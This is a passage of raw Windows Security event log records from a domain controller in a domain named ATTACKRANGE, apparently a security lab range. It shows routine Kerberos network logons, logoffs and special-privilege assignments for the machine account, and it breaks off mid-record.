RecordNumber=249478
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4614

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249477
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4614
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64262

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249476
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4614

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249475
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE45B3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249474
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE45B3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64261

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249473
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE45B3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249472
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE454D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249471
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE454D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64260

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249470
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE454D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249469
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE44EC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249468
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE44EC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64259

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249467
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE44EC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249490
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE47A5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249489
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE47A5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64266

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249488
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE47A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249487
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4744

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249486
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE4744
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64265

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249485
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE4744

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249484
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE46DE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249483
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE46DE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64264

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249482
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE46DE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249481
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE467D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249480
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE467D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64263

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249479
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE467D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249502
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE493B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249501
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE493B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64270

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249500
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE493B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249499
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE48DA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249498
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE48DA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

